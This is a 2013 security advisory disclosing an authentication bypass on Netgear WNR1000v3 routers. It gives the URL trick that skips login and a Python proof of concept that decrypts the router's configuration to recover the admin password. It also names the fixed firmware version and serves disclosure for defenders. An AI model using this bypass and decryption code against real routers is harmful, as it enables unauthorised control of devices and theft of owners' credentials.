99 lines
No EOL
3 KiB
Text
99 lines
No EOL
3 KiB
Text
Authentication bypass on Netgear WNR1000
|
|
========================================
|
|
|
|
[ADVISORY INFORMATION]
|
|
Title: Authentication bypass on Netgear WNR1000
|
|
Discovery date: 10/11/2012
|
|
Release date: 29/03/2013
|
|
Credits: Roberto Paleari (roberto@greyhats.it, twitter: @rpaleari)
|
|
|
|
[VULNERABILITY INFORMATION]
|
|
Class: Authentication bypass, weak encryption
|
|
|
|
[AFFECTED PRODUCTS]
|
|
This security vulnerability affects the following products and firmware
|
|
versions:
|
|
* Netgear WNR1000v3, firmware version < 1.0.2.60
|
|
|
|
Other products and firmware versions are probably also vulnerable, but they
|
|
were not checked.
|
|
|
|
[VULNERABILITY DETAILS]
|
|
The web server running on the affected devices is subject to an authentication
|
|
bypass issue that allows attacker to gain administrative access, circumventing
|
|
existing authentication mechanisms.
|
|
|
|
Strictly speaking, the web server skips authentication checks for some URLs,
|
|
such as those that contain the substring ".jpg" (without quotes). As a
|
|
consequence, an attacker can retrieve the current device configuration by
|
|
accessing the following URL:
|
|
|
|
http://<target-ip-address>/NETGEAR_fwpt.cfg?.jpg
|
|
|
|
The resulting configuration file is encrypted. However the device implements a
|
|
trivial encryption scheme, that can be reversed quite easily. From the
|
|
configuration file, attackers can extract, among the other things, the
|
|
clear-text password for the "admin" user.
|
|
|
|
A Python procedure that implements the aforementioned encryption scheme
|
|
follows (the code of this PoC is inefficient and is quite a mess):
|
|
|
|
<cut>
|
|
import pyDes
|
|
import os, sys
|
|
|
|
# Encryption key is a slightly variation of "NtgrBak"
|
|
KEY = [0x56-8, 0x74, 0x67, 0x72, 0x42, 0x61, 0x6b, 0x00]
|
|
|
|
def derive_des_key(ascii_key):
|
|
def extract_by_offset(offset):
|
|
byte_index = offset >> 3
|
|
bit_index = byte_index << 3
|
|
|
|
v0 = (ascii_key[byte_index] << 8) | ascii_key[byte_index+1]
|
|
v1 = 8 - (offset - bit_index)
|
|
v0 >>= v1
|
|
return v0 & 0xfe
|
|
|
|
k = ""
|
|
for i in range(0, 7*8, 7):
|
|
k += chr(extract_by_offset(i))
|
|
return k
|
|
|
|
def decrypt_block(block, key_bytes):
|
|
k = derive_des_key(key_bytes)
|
|
des = pyDes.des(k, pyDes.ECB)
|
|
r = des.decrypt(block)
|
|
return r
|
|
|
|
def main():
|
|
data = sys.stdin.read()
|
|
assert (len(data) % 8) == 0
|
|
|
|
current_key = KEY[:]
|
|
|
|
r = ""
|
|
for i in range(0, len(data), 8):
|
|
current_key[0] += 8
|
|
if current_key[0] > 0xff:
|
|
current_key[0] = current_key[0] - 0x100
|
|
current_key[1] += 1
|
|
|
|
block = data[i:i+8]
|
|
d = decrypt_block(block, current_key)
|
|
|
|
r += d
|
|
|
|
sys.stdout.write(r)
|
|
</cut>
|
|
|
|
|
|
[REMEDIATION]
|
|
This issue has been addressed by Netgear with firmware version 1.0.2.60.
|
|
|
|
[DISCLAIMER]
|
|
The author is not responsible for the misuse of the information provided in
|
|
this security advisory. The advisory is a service to the professional security
|
|
community. There are NO WARRANTIES with regard to this information. Any
|
|
application or distribution of this information constitutes acceptance AS IS,
|
|
at the user's own risk. This information is subject to change without notice. |